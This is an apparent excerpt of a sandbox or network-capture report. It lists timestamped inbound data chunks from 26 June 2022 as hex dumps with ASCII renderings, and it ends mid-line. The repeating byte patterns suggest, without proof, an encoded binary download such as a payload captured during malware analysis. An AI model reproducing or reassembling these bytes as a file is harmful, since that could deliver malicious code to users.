2022-06-26 07:43:09 UTC	441	IN	Data Raw: 1c 25 a9 25 a9 25 25 25 a5 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 25 39 25 39 25 39 25 39 dc a9 67 a9 dc 2b 67 2b 25 41 25 41 25 25 25 39 e2 a5 22 a5 e2 27 22 27 25 25 25 25 25 25 25 25 25 25 25 25 2d 25 2d 25 25 25 25 25 25 25 25 25 25 25 25 25 35 1c c5 dc 3d dc 45 dc 09 45 09 45 da da 25 25 25 25 25 25 25 25 25 25 da da da da da da 35 dc 25 25 08 e0 1a 25 1a 27 1a 25 1a 27 1a 25 1a 25 1a 25 1a 27 35 dc da da da da da da da da da da da da da da fe 65 fe 65 fe 27 fe 27 da da da da da da da da 1a 25 1a 27 0a 25 1a 27 18 25 18 25 1a 25 1a 25 25 25 25 a5 25 a5 25 a5 25 25 25 25 da da da da da da da da da da da da da da da da da da da da 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 02 67 1a 25 1a 25 Data Ascii: %%%%%-%-%-%-%-%-%-%-%%9%9%9%9g+g+%A%A%%%9"'"'%%%%%%%%%%%%-%-%%%%%%%%%%%%%5=EEE%%%%%%%%%%5%%%'%'%%%'5ee''%'%'%%%%%%%%%%%%%EEEEEEEEEEEEEEEEg%%
2022-06-26 07:43:09 UTC	445	IN	Data Raw: 25 25 71 4a 3e 3c 91 1c 91 91 4a 3e 25 25 25 25 22 40 99 79 44 3e 46 1e 4a 50 93 99 25 25 25 25 2c 50 40 97 54 75 40 97 8b 4a 97 48 3c 93 3e 40 1e 4a 50 93 99 40 97 25 25 25 22 40 99 7b 40 97 4e 44 4a 93 25 25 25 25 22 40 99 1e 50 97 97 40 93 99 79 8d 97 40 3c 89 24 89 25 25 25 25 24 93 99 40 97 91 4a 3e 46 40 89 69 40 3e 97 40 48 40 93 99 25 25 25 25 24 93 99 40 97 91 4a 3e 46 40 89 24 93 3e 97 40 48 40 93 99 25 25 25 25 7b 44 97 99 50 3c 91 2c 50 40 97 54 25 25 25 25 32 44 89 40 1e 8d 3c 97 79 4a 28 50 91 99 44 67 54 99 40 25 25 25 28 50 91 99 44 67 54 99 40 79 4a 32 44 89 40 1e 8d 3c 97 25 25 25 91 4e 99 97 91 40 93 1c 25 25 25 25 91 4e 99 97 3e 95 54 93 1c 25 25 25 71 4a 3c 89 71 44 87 97 3c 97 54 20 9d 1c 25 25 25 25 22 40 99 79 8d 97 40 3c 89 71 4a Data Ascii: %%qJ><J>%%%%"@yD>FJP%%%%,P@Tu@JH<>@JP@%%%"@{@NDJ%%%%"@P@y@<$%%%%$@J>F@i@>@H@%%%%$@J>F@$>@H@%%%%{DP<,P@T%%%%2D@<yJ(PDgT@%%%(PDgT@yJ2D@<%%%N@%%%%N>T%%%qJ<qD<T %%%%"@y@<qJ
2022-06-26 07:43:09 UTC	450	IN	Data Raw: 59 f5 59 f9 59 fd 59 01 59 05 59 09 59 0d 59 11 59 21 59 41 10 49 10 4d 10 51 10 55 10 59 10 5d 10 61 10 65 10 69 10 7d 10 9d 10 a5 10 a9 10 ad 10 b1 10 b5 10 b9 10 bd 10 c1 10 c5 10 d9 10 f9 10 01 10 05 10 09 10 0d 10 11 10 15 10 19 10 1d 10 21 10 35 5b 55 5b 5d 5b 61 5b 65 5b 69 5b 6d 5b 71 5b 75 5b 79 5b 7d 5b 95 5b b5 5b bd 5b c1 5b c5 5b c9 5b cd 5b d1 5b d5 5b d9 5b dd 5b ed 5b 0d 5b 15 5b 19 5b 1d 5b 21 5b 25 12 29 12 2d 12 31 12 35 12 49 12 69 12 71 12 75 12 79 12 7d 12 81 12 85 12 89 12 8d 12 91 12 a1 12 c1 12 c9 12 cd 12 d1 12 d5 12 d9 12 dd 12 e1 12 e5 12 e9 12 fd 12 1d 12 25 5d 29 5d 2d 5d 31 5d 35 5d 39 5d 3d 5d 41 5d 45 5d 5d 5d 7d 5d 85 5d 89 5d 8d 5d 91 5d 95 5d 99 5d 9d 5d a1 5d a5 5d b9 5d d9 5d e1 5d e5 5d e9 5d ed 5d f1 5d f5 5d f9 5d Data Ascii: YYYYYYYYY!YAIMQUY]aei}!5[U[][a[e[i[m[q[u[y[}[[[[[[[[[[[[[[[[[![%)-15Iiquy}%])]-]1]5]9]=]A]E]]]}]]]]]]]]]]]]]]]]]]]
2022-06-26 07:43:09 UTC	454	IN	Data Raw: e9 14 f5 14 f9 14 09 14 11 14 15 14 19 14 1d 14 21 14 25 5f 29 5f 2d 5f 31 5f 35 5f 39 5f 3d 5f 41 5f 45 5f 49 5f 4d 5f 51 5f 55 5f 59 5f 5d 5f 61 5f 65 5f 69 5f 6d 5f 71 5f 75 5f 79 5f 7d 5f 81 5f 85 5f 89 5f 8d 5f 91 5f 95 5f 99 5f 9d 5f a1 5f a5 5f a9 5f ad 5f b1 5f bf 5f d1 5f df 5f e3 5f f5 5f c4 5f 19 5f 29 16 39 16 41 16 45 16 49 16 4d 16 51 16 55 16 59 16 5d 16 61 16 65 16 69 16 6d 16 71 16 75 16 79 16 7d 16 81 16 85 16 89 16 8d 16 91 16 95 16 99 16 9d 16 a1 16 a5 16 a9 16 ad 16 b1 16 b5 16 b9 16 bd 16 c1 16 c5 16 c9 16 cd 16 d1 16 d5 16 d9 16 dd 16 e1 16 e5 16 e9 16 ed 16 f1 16 f5 16 f9 16 09 16 d0 16 d4 16 31 61 51 61 59 61 5d 61 61 61 65 61 69 61 6d 61 71 61 75 61 79 61 7d 61 81 61 85 61 89 61 8d 61 91 61 95 61 a1 61 c1 61 c9 61 cd 61 d1 61 d5 Data Ascii: !%_)_-_1_5_9_=_A_E_I_M_Q_U_Y_]_a_e_i_m_q_u_y_}_____________________)9AEIMQUY]aeimquy}1aQaYa]aaaeaiamaqauaya}aaaaaaaaaaaa
2022-06-26 07:43:09 UTC	458	IN	Data Raw: 4e ac 99 59 ea 38 a5 bb c7 46 ac 3f d9 43 18 a5 db c7 82 ac 26 0d 50 99 25 58 af b3 3e a5 ac 0c 33 8b b1 b4 3c 81 b1 62 20 85 64 7d 3f 4b a2 3b 3e c0 7d 10 7b 6a 10 3e f8 7d 12 9b f0 f6 e5 c3 3c ca 2d 49 27 66 a5 ee 11 2d 83 a9 35 e7 91 a7 b5 b5 22 7d 71 7d 1e cd 00 11 fe d9 37 df 2d 32 e4 5e a9 0c e7 02 47 6e cd 2a d9 00 9f 37 d4 e9 9d 87 5f 8c b5 7d 6b d1 4b 13 fc 43 fc c3 00 83 02 33 ee 3a 6e 6d 49 33 a4 b7 09 73 2f fc 00 b5 57 24 e6 24 46 6d b6 6d 08 c9 2e c9 63 f7 35 44 c1 71 4b c6 b5 48 a4 03 09 2d d7 a5 d1 45 72 6c 92 b5 ea b5 2a b7 d6 a4 9e 09 92 39 5f a0 ad 07 71 e4 c7 49 77 c9 b9 37 6f 10 40 1a c0 29 80 7a 57 67 74 c5 cf 2c a8 84 c3 f9 2d cf ad 5f 7a 7f 24 48 c5 9b 75 0a 2e 62 84 ee 59 50 bf 00 a8 76 3b 1e a6 c9 08 7e b0 f5 bf 44 42 44 d2 8d 0a Data Ascii: NY8F?C&P%X>3<b d}?K;>}{j>}<-I'f-5"}q}7-2^Gn7_}kKC3:nmI3s/W$$Fmm.c5DqKH-Erl9_qIw7o@)zWgt,-_z$Hu.bYPv;~DBD
2022-06-26 07:43:09 UTC	461	IN	Data Raw: fc 57 57 f7 82 f9 23 51 2d e9 c7 0c 6f ad c7 ad 7b 86 00 16 56 e0 6c 6c 6c 63 e6 c8 ba 25 15 7f ee ac ac 2c 39 3b d3 d2 df 10 2a 31 85 37 86 fe 10 10 b0 25 f1 e0 19 21 12 88 ee 95 1f 2e e7 2b c1 e2 cb d8 22 35 f3 d6 0c eb da 27 d6 1a b6 1a de 25 6d ce 17 f3 d8 ac e7 61 25 25 25 25 24 20 73 69 d3 67 85 a7 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 Data Ascii: WW#Q-o{Vlllc%,9;*17%!.+"5'%ma%%%%$ sig%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
2022-06-26 07:43:09 UTC	465	IN	Data Raw: 4d 41 ff e3 b7 a0 66 07 74 70 3c e9 ac ac 6b c4 02 a2 ed 7f 9a 72 c7 f9 b1 bb cc b1 d2 34 bd ee e0 cd ba 96 60 60 66 43 40 f3 67 fe 13 9a a3 82 99 b2 44 d7 fb ca 00 fb bd ed c9 23 ef fa 71 93 5b 76 44 8f 8f 17 56 d9 46 d3 01 9c c1 bd 85 b7 0b 80 be 1d ce 5f 7a e2 2d 55 33 e9 75 38 fd 91 9b 53 3a e3 71 22 a2 78 ec b6 1d a5 2f 1e c5 e8 02 6a 0e 06 79 45 fc 5b 64 03 86 98 41 84 0d f6 dc c5 1f 14 98 1f 51 f1 f6 12 93 c5 4d 57 0c 0c 0c be 73 f5 48 92 be dd 7b 66 4c 5c c3 cb ae 42 94 ff f2 e7 07 30 20 e9 3f ee a2 7d 3b 45 e9 35 a5 ae c4 09 f9 84 2e 29 e0 44 6d 24 24 cc 5f 3c 2a 2a ea 40 40 40 c9 8f 38 11 84 df 65 3a 69 57 4a 91 fd 5d 91 c3 e5 33 15 83 e6 ce 07 a0 66 f9 b0 b0 87 8e b4 a4 ef ef 67 82 e6 80 90 d0 2f c2 f3 78 82 90 90 70 68 f6 ba 49 49 89 3f 00 00 Data Ascii: MAftp<kr4``fC@gD#q[vDVF_z-U3u8S:q"x/jyE[dAQMWsH{fL\B0 ?};E5.)Dm$$_<**@@@8e:iWJ]3fg/xphII?
2022-06-26 07:43:09 UTC	469	IN	Data Raw: 23 2c e3 0c 24 3b 6c 3d 5d 92 98 80 1b 5c 28 ae 7d 6b 39 42 18 25 2e 30 47 29 12 fe af 54 63 0e cb 46 23 71 a3 31 ce 07 b3 cd 8f c1 66 cf d7 98 c4 28 73 e0 e0 dc 5c db 12 aa 05 46 f5 5b fb 60 24 36 21 59 be 19 06 5b dd d7 1e 65 55 6c aa 37 4c 66 21 d4 ec a8 f6 ef fb fd 8b ea a2 73 7f 55 4d 2e a1 9c 4d 2e bd a5 02 d2 e1 9b 20 c7 1a b9 bb ab fd 73 f3 80 42 94 09 ff 6f ca b9 18 f0 c9 5f 81 92 52 4b 75 dc e9 52 35 0f e0 61 09 78 79 f0 af 00 89 0a a4 68 16 7d f3 cd 18 fe 62 46 b9 51 9f ef be a4 49 0c 2e 4b 27 53 36 53 be bc 76 22 b7 cd 3e 0f b0 e7 c9 8b a8 b2 6e 9f 65 69 13 c7 00 85 c6 e0 51 82 3d 43 37 ad 0f d1 33 97 f2 ab d5 8f 00 16 f5 5f 44 89 3a 09 70 3a a5 e5 af 08 9c f1 5e 43 f8 e5 d3 5c 4f ba ed 6e 4c 84 d9 f2 07 78 46 3c 62 07 a1 1f 68 a6 fc 4e a0 02 Data Ascii: #,$;l=]\(}k9B%.0G)TcF#q1f(s\F[`$6!Y[eUl7Lf!sUM.M. sBo_RKuR5axyh}bFQI.K'S6Sv">neiQ=C73_D:p:^C\OnLxF<bhN
2022-06-26 07:43:09 UTC	473	IN	Data Raw: 68 b7 0e 54 96 1f 6a b3 8d 2c 6c b1 29 ff d4 ec d7 47 31 95 47 5c fd 81 12 24 01 78 f4 44 c4 2b c7 ff 91 89 e3 4c 4e 75 9d b3 7f 73 41 8f be 07 92 d5 c3 37 99 35 eb 97 6f c4 f7 4c b6 6f 07 a4 11 79 e8 7c 07 5f b8 da 2c ea 16 d1 75 76 4b af 03 f4 92 26 69 ff bf 66 6a a2 1d eb c9 4e d3 1b 25 0c d8 cf 9a 84 41 e5 30 38 65 db 4d fb 16 5c bd 53 7f 59 74 04 d3 5f 5d 56 22 95 b6 86 20 82 f7 ea 84 ed 15 fd cf 50 79 63 3b 00 53 08 c9 d5 88 ad 1b de 76 98 85 a2 73 97 dd 5c f5 03 71 cd cb 8b 3f ff 23 24 82 ba 34 e9 0f 11 02 a9 de 6b d0 d3 2e fa 76 85 5a c1 5b 1d 4e b5 e4 55 3e 71 ef a5 da 4d f4 92 9c 01 9d 0c de 09 55 ae e6 23 d4 8b cf 19 88 28 30 26 76 b4 55 8f 2b 21 e9 e9 fb dc f8 8f 86 d0 d5 f4 4d 8c a2 ea 9f 67 6c 43 3d 10 05 8a 3e e9 b1 3a f0 97 95 fa 8a 3f 4f Data Ascii: hTj,l)G1G\$xD+LNusA75oLoy\|_,uvK&ifjN%A08eM\SYt_]V" Pyc;Svs\q?#$4k.vZ[NU>qMU#(0&vU+!MglC=>:?O
2022-06-26 07:43:09 UTC	477	IN	Data Raw: 39 dc 7e 73 79 c2 4b 51 dc 98 33 f8 48 e4 e1 62 e4 9e 3f 72 45 27 04 4e 05 31 69 a4 15 c2 1e 11 1d 78 50 60 9d df fc 8d 08 2f 4a 80 5d 0c a5 d0 9d 46 11 19 9f 59 68 16 49 89 7e 3a ea 4f c3 11 79 f1 68 d7 9d ef 70 10 10 df 8f 5e d7 bf 08 b0 6d 7c 34 d3 49 4f 88 dd ae 12 c3 23 a3 54 e7 82 09 89 f5 df 1f ba 58 56 cb 64 12 3a 3c b6 75 6f 03 59 62 be 28 5c 08 32 bf 8f f5 05 4e 22 5f 81 25 83 d1 66 ee 90 95 f7 ce 42 b1 ad 3d c4 75 ba 04 aa 11 69 c4 35 7a 88 06 e0 5d 73 ac 33 79 58 3d 28 61 b5 3c 72 c5 e7 bf 56 60 b9 b1 a2 f5 b6 8e b0 6e 29 f2 18 25 b7 52 2d 3f fa 52 cf 5e f3 c1 08 b0 0a 0d 4f 17 7e 8a 04 a2 c5 70 1d bc 0a ec 34 52 44 50 e8 df 8b 09 b2 ca 98 ea b8 01 86 6e f6 d7 22 b1 9a 69 9c d2 c5 9f cc f1 a1 52 47 5e 44 61 30 60 2c f9 df 6f 87 18 bb bd 2d 65 Data Ascii: 9~syKQ3Hb?rE'N1ixP`/J]FYhI~:Oyhp^m\|4IO#TXVd:<uoYb(\2N"_%fB=ui5z]s3yX=(a<rV`n)%R-?R^O~p4RDPn"iRG^Da0`,o-e
2022-06-26 07:43:09 UTC	482	IN	Data Raw: 62 34 71 ee d1 8f e9 8e 05 6e 12 41 57 67 df b1 60 d2 2c ad 8d c9 94 ad 9d dc 2e 3a e4 8b df 52 b0 d5 57 18 85 4f 94 c3 89 81 57 ee e2 43 8a 01 21 cb bb 34 b3 39 9e 1a 52 fc 0a 69 12 f6 5b ec 01 e2 99 a1 42 da ea 57 e4 f4 9a b9 5a 2c 7d 3f 6d 22 8d 0b 5e 83 44 fd e3 47 6f ae 65 a3 24 8f fe 51 04 78 77 64 33 2e 81 48 d0 8d ee fd 53 2a 4a 41 e7 7a 01 f0 de 9b 6a 17 18 6d 3c 75 6d 3a ec b6 99 1f 49 00 23 e6 69 b1 bc 42 27 ec fe c2 b8 c8 7f 9c 39 e2 7b 66 f8 c7 60 8b 01 02 2a f4 11 d3 a8 e5 81 eb e9 47 be 6c ba a9 2a 8c 1a e2 60 11 04 a2 3b 69 39 4d d1 e3 70 3b 8e d7 78 67 e5 c5 f3 69 65 48 e2 ec 23 f2 59 93 bd 7b 07 c2 75 48 d4 ca 3c 72 b9 2b fb ca 34 e4 c9 f2 e9 4b a0 ee 1d 0b b9 37 c3 ec 2d 9a fc a3 12 fd a8 16 4c 4e d0 3e 36 3e 6a 85 3a 4e 7b 45 03 4b aa Data Ascii: b4qnAWg`,.:RWOWC!49Ri[BWZ,}?m"^DGoe$Qxwd3.HSJAzjm<um:I#iB'9{f`Gl*`;i9Mp;xgieH#Y{uH<r+4K7-LN>6>j:N{EK
2022-06-26 07:43:09 UTC	486	IN	Data Raw: e8 64 21 81 90 ce 85 4a 79 4f 53 c9 ea 03 40 6f b6 c1 db 05 be a7 0c 50 f8 fe 68 1d 32 28 fc eb 46 68 39 75 0e 60 6b a7 6f 57 e8 f3 a9 1c 24 05 7b 10 30 d3 c7 87 90 b3 27 22 43 fc 4a b5 b3 f1 a4 b0 f6 93 5a 3a f6 e7 5a 0c 3e 5e 11 78 f0 8a 20 d6 b5 6c 43 af cd d7 5c 0e 08 1c 17 9c 3b ca 59 7f 4d 6d 12 d3 25 59 6f c3 6d 48 92 d2 8b eb 8c 7d d0 1f 6e 81 af 15 d9 f5 23 0b a7 af 81 28 f5 ea 24 0f 30 38 1f 14 8a 6a e8 d2 f4 60 74 85 dd 38 2e b2 a8 df d7 ee d3 ad ac 9c 67 1d 24 bb eb 8f 35 71 d9 d0 31 10 0d c3 34 57 54 36 e5 67 af 91 5e 1e 61 4c 2e fe 95 5c 3a 32 f5 8a d3 8c 83 7d e8 50 a2 04 02 94 66 f3 05 20 18 84 58 2f 9b 87 1b 58 62 fc 72 91 cf 2f 4c 6f cc 77 b4 62 62 4d 4d 3c fc 49 88 5e 83 92 b2 c7 80 44 cf 5e ec 02 ce 74 0d 27 29 76 4d d7 07 be 45 23 fc Data Ascii: d!JyOS@oPh2(Fh9u`koW${0'"CJZ:Z>^x lC\;YMm%YomH}n#($08j`t8.g$5q14WT6g^aL.\:2}Pf X/Xbr/LowbbMM<I^D^t')vME#
2022-06-26 07:43:09 UTC	490	IN	Data Raw: 67 ef 43 5b 46 45 59 48 27 19 fb a7 c8 3e 02 dd 7c 96 2a 86 5c fc 9f f1 ac fb 32 48 fd 6f f1 8f 0e 4e cf 9d 06 ab 74 80 3c b8 12 14 17 ab 26 0c db de 86 bc 66 11 cd 7b e5 83 ff e6 b0 57 2a 2e 59 66 0f 89 79 1b 1e cb 53 1e 45 28 e4 3e f2 2f 13 4a 6b 75 6c ec 44 88 e7 bd 2e 27 e8 e3 27 01 70 fb 57 a1 49 75 67 35 9d 23 7b ad ea 69 45 69 ce 82 b9 3b c3 2e 18 7f 9e f7 2e 87 3d 3c 87 e6 6e 9f 11 27 59 73 01 ae 58 f3 9d 9b e9 05 06 16 d2 f7 c6 14 8e bb 0c d9 39 76 0d ed 42 5a 23 d7 68 b5 4b 65 6b ce e5 ae fe 10 db ca 9a f2 54 a9 e4 47 a9 18 8c ed cc 95 f4 9e 35 35 9c 19 69 e1 74 a2 87 71 9a 3c 2a c7 28 80 43 8c 2b a3 db 1e f1 23 67 22 2d be 5c b1 db 58 b9 28 6e 52 ec fc 36 57 2b 89 3c 95 44 ff a8 ef 42 8e 1a ee a0 52 28 8d f3 c5 de a0 b7 a2 d9 1b 5e 8b 8a bd b5 Data Ascii: gC[FEYH'>\|\2HoNt<&f{W.YfySE(>/JkulD.''pWIug5#{iEi;..=<n'YsX9vBZ#hKekTG55itq<*(C+#g"-\X(nR6W+<DBR(^
2022-06-26 07:43:09 UTC	493	IN	Data Raw: bb 8f a0 bf 0f b5 5d e1 01 30 8c 8d 5f 28 29 03 97 5f 6a 03 bd e6 f7 5a da cc 91 5a 8f c9 2e 46 f0 3d ee 84 4b 32 eb 96 9f 92 41 81 ec 14 32 fd 7a 38 49 41 f6 57 65 16 2a 3d 5e 6d 16 84 b2 99 4f f5 37 88 5c f8 62 07 a9 49 a2 75 81 04 f0 ae 0f b1 cf 9e 06 4b 63 b3 93 7b 10 5a 8e ad 32 a3 1b 78 c9 84 b6 53 1a d6 31 43 19 8b 18 7e c9 ff 0e b7 96 fd 66 f6 2a a9 5a 99 5c 24 2e 66 53 4a 03 e1 95 e4 97 0f be 43 3a 9c cf 32 e0 7f a8 33 e6 65 6d 11 dc 5f 98 74 2f 92 7a 70 00 7c cb 95 bf b0 d8 ce 75 a8 7e fa 61 3c c0 a3 9e 24 90 7d 83 98 9e ff 1a 1f 46 62 17 18 14 d1 32 92 79 27 ff bf 57 73 28 f6 89 93 d3 dc b7 51 26 00 a4 d6 16 d8 21 bb 8c 81 d0 fd 16 1a e1 f0 17 bf 28 b1 b7 7d e8 73 c2 f3 a3 56 01 d6 e5 31 b7 90 a0 ca 30 58 9e 7c f9 02 c1 f1 42 8a ab 7b 12 b1 bb Data Ascii: ]0_()_jZZ.F=K2A2z8IAWe=^mO7\bIuKc{Z2xS1C~fZ\$.fSJC:23em_t/zp\|u~a<$}Fb2y'Ws(Q&!(}sV10X\|B{
2022-06-26 07:43:09 UTC	497	IN	Data Raw: 3b 50 1f 78 a2 b5 c0 3c 5e fd d5 8a bc 01 b7 74 f9 78 05 7d 0c 5b 94 70 33 d7 65 d4 8a 97 38 a0 19 a0 63 a2 b6 92 bc 55 00 de d6 b1 d7 5a 03 28 e5 95 c9 2b 18 26 c3 67 9a d3 ef f3 07 57 27 63 d0 ba 1e 71 2e 00 d1 60 4c fc 20 80 8e 33 54 d3 79 cc f6 fb 77 1f f4 2f 79 4c 09 59 22 b3 bb 75 1b a3 62 11 b4 96 96 d0 3c ed fe f1 da cf 08 5a 87 50 67 44 4e 77 b8 7e 4c c5 ee 20 82 72 ed 77 dd a9 4d f0 e9 ec 7e d2 d9 15 b2 75 26 ab d4 31 14 2b e5 f2 67 2c e5 33 5f 4a b3 7c e1 71 76 58 03 1b 8f 63 57 e5 4b d1 6e fe 84 a6 00 f4 55 b9 2d b1 25 fb 09 b1 6c 1a 6f 61 8c 2b 75 b3 c1 b1 e2 eb fa 86 0e d1 38 c9 10 c6 96 36 ed 43 0b 8e bf 11 76 15 20 33 d3 5a d2 a6 a1 27 86 63 84 08 2e 16 12 fc 47 4f 87 4d 37 d9 ed c2 ed 16 69 3c f5 51 a3 b9 fd 63 36 ee 29 3d 94 0b b7 ec f6 Data Ascii: ;Px<^tx}[p3e8cUZ(+&gW'cq.`L 3Tyw/yLY"ub<ZPgDNw~L rwM~u&1+g,3_J\|qvXcWKnU-%loa+u86Cv 3Z'c.GOM7i<Qc6)=
2022-06-26 07:43:09 UTC	501	IN	Data Raw: 91 29 62 99 3a 85 d9 c6 48 45 62 c2 a8 bc ac fc 28 c7 82 55 2f f3 c4 4b 10 94 df ef 25 fd d6 48 07 84 a3 d8 60 35 f4 48 6a 21 b4 d8 87 bf fb 1a 6c 55 59 e3 02 ee c6 87 7f 16 97 c4 7f 92 7a ea a9 a2 ad 50 6d 5d 79 32 81 86 e7 71 84 e7 24 0b 3c ad 3a 27 41 fc 69 ac 30 fa 7e a3 2e 0b 81 2e b5 f8 9c e1 71 4b 80 14 55 ea a5 a8 09 4b a4 4e 37 18 65 e7 db 7e de 62 1c 0b 16 3b 9e ae 85 65 8f 06 89 72 c8 3a 30 f5 9a 8a 8e 5c 0e ea 34 44 4c e5 9d a8 b4 f5 13 69 65 e3 e7 02 b9 99 99 31 12 22 96 ea 8e ef 00 ac cf f4 15 08 cb 11 e5 17 dc 52 18 0c 78 00 d7 bf 44 a0 50 e2 39 88 d8 ef 00 8d 22 01 02 00 b1 f2 b8 11 9f d9 7b 36 c1 74 5a 56 f9 65 ca a5 da d5 be 81 a1 20 ae 0a 19 41 ec 6a fb ec 48 ad c8 0a fe 48 cf fb e0 36 4b c9 8e 8b 52 84 e2 5a 93 b7 5c 93 ef e2 9b a8 b5 Data Ascii: )b:HEb(U/K%H`5Hj!lUYzPm]y2q$<:'Ai0~..qKUKN7e~b;er:0\4DLie1"RxDP9"{6tZVe AjHH6KRZ\
2022-06-26 07:43:09 UTC	505	IN	Data Raw: d2 39 1c 13 fd d6 f6 e1 e5 3e f6 14 86 48 d9 3d 10 bb b4 4d bd 13 38 be 17 61 97 f9 81 49 b9 fb 67 37 85 62 3f 07 c7 68 53 cc 54 a9 40 a3 db b8 11 30 61 54 ef 89 93 3e 64 fc ea 0c 4a 80 c0 bd 08 3c 75 82 c9 7f 68 7a bc 84 64 d0 ce ba d8 86 6e 25 ed 89 1a 85 35 61 d3 c6 ec 7d 71 5c 0d 9c 0e 11 6f 8b 2f f0 ee 71 95 35 0b b5 fd 4a 1b 42 f4 3e a9 77 5c 33 d1 96 51 89 83 22 64 2f 9b cf e3 bb dd fb c6 01 68 df 9a 52 a2 16 26 ff ef 56 05 86 62 da f9 9b c3 e6 e8 e1 0e d8 15 99 8d fb d1 79 ad 40 0e b9 bb 42 47 46 fd a6 7b f2 50 e9 60 8b a7 f1 6d a0 bb 96 8a 24 1b 79 2b 4b 7a e8 4d 83 b2 32 b6 44 9b ad 00 b6 bc ca 0a be 37 59 f6 55 6d 65 db 99 6e 89 c3 26 fc 06 36 fc 6b 53 55 cc de e2 82 2d 87 47 cd 4d 88 5c 20 48 2a 90 a7 40 7f 52 64 6b 90 ba 35 56 56 14 3c 44 52 Data Ascii: 9>H=M8aIg7b?hST@0aT>dJ<uhzdn%5a}q\o/q5JB>w\3Q"d/hR&Vby@BGF{P`m$y+KzM2D7YUmen&6kSU-GM\ H*@Rdk5VV<DR
2022-06-26 07:43:09 UTC	509	IN	Data Raw: 14 8a f6 92 5b 62 7d 46 3c d6 d1 8e 14 92 c1 8e e8 18 48 f3 75 4e 19 67 33 b4 4b b4 92 29 90 e5 92 59 30 c4 28 3d 8f 87 2c 2d 3c 54 79 25 64 c4 2a a1 44 6b dd d6 38 60 b7 e1 9f f1 75 01 6d 9e 8f d9 1f 21 c5 ca 0f 3c 26 5c 0f 50 74 61 38 8a 8e 61 f1 c3 fb cc ff 16 44 7c 6f 3a 8a e6 41 d0 18 f2 ef 2c d7 e3 b0 51 65 b0 d6 00 13 3b 48 27 c9 18 ab 84 5d da 78 a5 f5 c6 4b ec 7c 76 39 0d 8e 9f 15 25 96 3c da 08 0f e8 67 73 51 ff 63 07 64 12 75 6c d0 c0 87 d3 05 27 ff 42 0b a9 57 44 c9 c6 47 29 84 97 0e 26 67 77 e6 2a 7a 58 3c f6 c4 2d 18 7b 4c d9 28 c9 e7 21 b9 40 0b 4b 00 81 4f ad e7 f9 0b 85 2b 95 92 30 95 b6 ad a3 43 10 b6 37 f5 4f 6f c9 c4 8f 71 fa 84 07 18 94 ed 84 84 a7 49 64 30 f4 2d a2 c5 1e 76 fb 6e 45 d8 16 aa 25 4e c7 24 5e 70 42 e1 f3 57 da e3 43 5c Data Ascii: [b}F<HuNg3K)Y0(=,-<Ty%dDk8`um!<&\Pta8aD\|o:A,Qe;H']xK\|v9%<gsQcdul'BWDG)&gwzX<-{L(!@KO+0C7OoqId0-vnE%N$^pBWC\
2022-06-26 07:43:09 UTC	514	IN	Data Raw: af ee a7 01 73 1a 2e 59 61 c5 f4 20 5d 13 23 e8 74 9e 0b ac 6f 66 41 62 45 ee 3b c8 4b 9b 7b c6 a3 61 90 62 a5 8d ba e2 44 76 12 c4 f9 ef 8b 2f 34 39 dc a4 7a 90 8a b5 42 6e 97 0b 4b 6c 53 38 12 b5 47 37 b3 59 e4 a4 f4 46 61 00 32 3d f2 75 de 00 cf 4f ec 68 88 e6 de 00 1f 42 71 a5 97 b7 4a dc 76 3c db 3d 37 d4 56 23 18 86 61 10 3f 3c a4 86 0b c0 c4 9e 0c ec fc e3 ac b7 85 5a f1 d3 8f 60 d2 c1 87 f7 5e ce e7 9a 6f 2a 57 24 64 58 9c eb 9b 4a c0 29 51 a7 73 0a a8 36 42 11 50 c6 28 b5 ae 76 d8 52 34 47 3c fe c6 31 e6 76 b2 5a 29 41 6a 01 22 18 40 96 20 98 35 66 17 dc a0 ca 1e 2f 49 66 fb 2a 21 41 b9 f8 26 a1 8f 74 f0 1f e0 2d 9d 42 c7 05 d1 61 de dd 4c e4 42 19 76 1c a6 a1 ea 9a 24 51 4c 61 ca 2e 7c 7d 45 10 ed 11 1f dc 66 e8 96 52 02 8c b7 ff 8c ba 98 19 7c Data Ascii: s.Ya ]#tofAbE;K{abDv/49zBnKlS8G7YFa2=uOhBqJv<=7V#a?<Z`^oW$dXJ)Qs6BP(vR4G<1vZ)Aj"@ 5f/If!A&t-BaLBv$QLa.\|}EfR\|
2022-06-26 07:43:09 UTC	518	IN	Data Raw: 5e 55 aa bf b4 ca 34 b4 05 d1 50 0c d2 fc ef db e5 38 38 61 37 e9 d6 35 fb 59 74 4d ba 68 38 f9 69 db 89 f5 1b 05 18 15 2d c7 e6 68 fb 06 4a 0c 1b 4e d0 df 82 3b 81 80 c8 a9 b2 49 87 c1 76 73 f0 9c c3 2f b2 f8 e0 5c 22 d6 1b 0b 88 55 6a 55 2d a3 3a 82 6e d4 18 df 87 66 4d 99 d2 5e be 58 f4 fb cf 70 98 e2 4c 2f 51 0d 57 55 09 0a 6d ff df 04 64 af a8 34 d2 d8 e0 66 8c 6c ac dd a2 24 9d ea 02 5f 1b 84 b5 85 c4 e4 e6 6b 24 26 dd 54 c2 52 c7 c4 0b 77 4c 8e 09 70 b2 b6 05 be 20 6e 79 f2 b7 ab 66 2a 1b 5b 45 95 07 fb 38 b4 ef 40 38 f1 2e 39 eb 21 66 0d 99 87 b2 b4 fc 00 d5 b5 f0 c7 8e d5 f5 9c 58 a2 cd 9c 76 67 30 12 10 47 02 5d 10 f0 e5 9d 2d fa 61 c8 83 52 06 8d d3 3f 1c 90 b6 c3 41 6e a5 c7 f3 28 f3 4c 15 b4 90 0e ca ae c4 5e 1a d6 38 2f 74 7d 7a 